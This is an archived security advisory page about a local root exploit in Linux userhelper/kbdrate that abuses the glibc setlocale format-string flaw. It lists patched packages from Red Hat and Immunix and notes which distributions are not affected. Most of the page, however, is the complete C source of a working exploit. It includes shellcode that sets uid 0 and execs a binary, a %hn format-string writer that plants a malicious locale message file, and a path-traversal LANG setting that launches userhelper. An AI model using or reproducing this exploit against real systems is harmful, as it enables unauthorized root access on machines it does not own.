TUCoPS :: Linux :: General :: uhelper.htm

userhelper /kbdrate local root exploit
Vulnerability

    userhelper /kbdrate

Affected

    Linux

Description

    Zenith Parsec found following.

        [root@continuity /root]# rpm -qf /usr/bin/kbdrate
        util-linux-2.9w-24
        [root@continuity /root]# rpm -qf /usr/sbin/userhelper
        usermode-1.35-1
        [root@continuity /root]# rpm -qf /lib/libc.so.6
        glibc-2.1.3-21

    People  can  get  root  if  they  are  logged  in to your machine,
    actually at  the console.   This exploits  the glibc  locale  hole
    (even in fixed version).  (If your name is in  /var/lock/console/*
    then you can do it.)

    Gets  past  the  fix  because  there  is a call to setuid(0); just
    before exec-ing  the called  program.   Now uid=euid=0  so it even
    gives u core dumps(owned by root).

    The sanity checks don't set done on the nonsuid programs.

    /* start of zen-nktb.c */

    /************************************************************************
          another setlocale setuid proof of concept exploit
          Sat Sep 30 02:47:38 NZST 2000 - ./zen-nktb.c

                               --zen-parse--
    ************************************************************************/
    #include <stdio.h>
    int getesp(){__asm__("movl %esp,%eax");}
    char shellcode[] =
    "\x90\x90\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/tmp/xx";

    void dopercentn(char *toaddr,unsigned int startloc,unsigned int sofar,int c)
    // c       =what i want in the 1st location
    // startloc=pointer to successive pointers
    {
     char *bigfmt;
     int f=0;
     unsigned int buffer=0;
     unsigned int d;
     unsigned int p,q,r,s;
     int n=1;
     unsigned int thistime;
     char fmt[1000];
     f=startloc;
     bigfmt=toaddr;
     sofar=(0x100-sofar%0x100);
     thistime=(c)%0x100+(sofar);
     sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
     strcpy(bigfmt,fmt);
     sofar=(sofar+(0x100-thistime));
     thistime=(c>>8)%0x100+(sofar);
     f++;
     sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
     strcat(bigfmt,fmt);
     sofar=sofar+(0x100-thistime);
     thistime=(c>>16)%0x100+(sofar);
     f++;
     sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
     strcat(bigfmt,fmt);
     sofar=sofar+(0x100-thistime);
     thistime=(c>>24)%0x100+(sofar);
     f++;
     sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
     strcat(bigfmt,fmt);
    }


    main(int argc,char *argv[],char *env[])
    {
     FILE *fi,*fo;
     char buf[100000],daenv[8000];
     char *cwd,evil[300];
     char *localedir;
     unsigned long dasize=0,c,d=0,e=0,esp,i;
     int o=0x0c12b;
     int dest=0xbfffff16;
     if (argc>1) d=atoi(argv[1]);
     if (d==0) d =79;
     if (argc>2) e=strtoul(argv[2],0,16);
     if (e==0) e=0xbffffdb8;
     fi=fopen("./util-linux.raw","r");
     if (!fi)
     {
      perror("bugger: input didn't open:");
      exit(-1);
     }
     if (mkdir("LC_MESSAGES",0755))
     {
      perror("Couldn't mkdir:");
      if (chdir("LC_MESSAGES"))
      {
       perror("chdir failed:");
       exit(-1);
      }
      chdir("..");
     }
     fo=fopen("./LC_MESSAGES/util-linux.mo","w");
     if (!fo)
     {
      perror("bugger: output didn't open:");
      exit(-1);
     }
     dasize=fread(buf,1,sizeof(buf),fi);
     fclose(fi);
     dopercentn(buf+o,d,0,dest);
     strcpy(evil,"01234567890123456789012345678");
     strcat(evil,shellcode);
     esp=(unsigned int)(argv[0])%4;
     esp=(6-esp)%4;
     *(long*)(esp+evil)=e;
     *(long*)(esp+evil+4)=e+1;
     *(long*)(esp+evil+8)=e+2;
     *(long*)(esp+evil+12)=e+3;
     fwrite(buf,1,dasize,fo); // lazy, lazy, lazy.
     fclose(fo);
     cwd=(char *)getcwd(0,0);
     if (!cwd)
     {
      perror("getcwd: Stop playing silly buggers. You want root, no? :");
      exit(-1);
     }
     localedir=(char*)malloc(2000);
     if (!localedir)
     {
      perror("malloc: fuck this for a game of soldiers:");
     }
     sprintf(localedir,"en_US/../../../../../..%s",cwd);
     sprintf(daenv,"LANG=%s",localedir);
     env[0]=0x0000000;
     putenv("DISPLAY=:0.0");
     putenv(daenv);
     putenv("TERM=vt100");
     putenv("SHELL=/bin/sh");
     putenv("USER=root");
     putenv("LOGNAME=root");
     setenv("HOME",evil,1);
     printf("Using dir of: %s\n",localedir);
     execl("/usr/sbin/userhelper","/usr/sbin/userhelper","-t","-w","/sbin/kbdrate",0);
    }

Solution

    SuSE  distributions  do  not  ship  with the usermode package that
    contains the  userhelper program.   Therefore, SuSE  distributions
    are not vulnerable to  the recently published attacks  that target
    the usermode package.

    For RedHat:

        ftp://updates.redhat.com/6.0/sparc/usermode-1.37-1.6.sparc.rpm
        ftp://updates.redhat.com/6.0/sparc/SysVinit-2.78-5.sparc.rpm
        ftp://updates.redhat.com/6.0/i386/usermode-1.37-1.6.i386.rpm
        ftp://updates.redhat.com/6.0/i386/SysVinit-2.78-5.i386.rpm
        ftp://updates.redhat.com/6.0/alpha/usermode-1.37-1.6.alpha.rpm
        ftp://updates.redhat.com/6.0/alpha/SysVinit-2.78-5.alpha.rpm
        ftp://updates.redhat.com/6.0/SRPMS/usermode-1.37-1.6.src.rpm
        ftp://updates.redhat.com/6.0/SRPMS/SysVinit-2.78-5.src.rpm
        ftp://updates.redhat.com/6.1/alpha/usermode-1.37-1.6.alpha.rpm
        ftp://updates.redhat.com/6.1/alpha/SysVinit-2.78-5.alpha.rpm
        ftp://updates.redhat.com/6.1/sparc/usermode-1.37-1.6.sparc.rpm
        ftp://updates.redhat.com/6.1/sparc/SysVinit-2.78-5.sparc.rpm
        ftp://updates.redhat.com/6.1/i386/usermode-1.37-1.6.i386.rpm
        ftp://updates.redhat.com/6.1/i386/SysVinit-2.78-5.i386.rpm
        ftp://updates.redhat.com/6.1/SRPMS/usermode-1.37-1.6.src.rpm
        ftp://updates.redhat.com/6.1/SRPMS/SysVinit-2.78-5.src.rpm
        ftp://updates.redhat.com/6.2/alpha/usermode-1.37-1.6.alpha.rpm
        ftp://updates.redhat.com/6.2/alpha/SysVinit-2.78-5.alpha.rpm
        ftp://updates.redhat.com/6.2/sparc/usermode-1.37-1.6.sparc.rpm
        ftp://updates.redhat.com/6.2/sparc/SysVinit-2.78-5.sparc.rpm
        ftp://updates.redhat.com/6.2/i386/usermode-1.37-1.6.i386.rpm
        ftp://updates.redhat.com/6.2/i386/SysVinit-2.78-5.i386.rpm
        ftp://updates.redhat.com/6.2/SRPMS/usermode-1.37-1.6.src.rpm
        ftp://updates.redhat.com/6.2/SRPMS/SysVinit-2.78-5.src.rpm
        ftp://updates.redhat.com/7.0/i386/usermode-1.37-2.i386.rpm
        ftp://updates.redhat.com/7.0/SRPMS/usermode-1.37-2.src.rpm

    For Immunix OS 6.2 (StackGuarded versions of the RedHat packages):

        http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/usermode-1.36-2.6.x_StackGuard.i386.rpm
        http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/SysVinit-2.78-5_StackGuard.i386.rpm
        http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/usermode-1.36-2.6.x_StackGuard.src.rpm
        http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/SysVinit-2.78-5_StackGuard.src.rpm

    Linux-Mandrake ships  an older  version of  usermode which  is not
    vulnerable to this problem.  Linux-Mandrake 7.2 beta contains  the
    fixed usermode 1.36 as provided by Red Hat.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH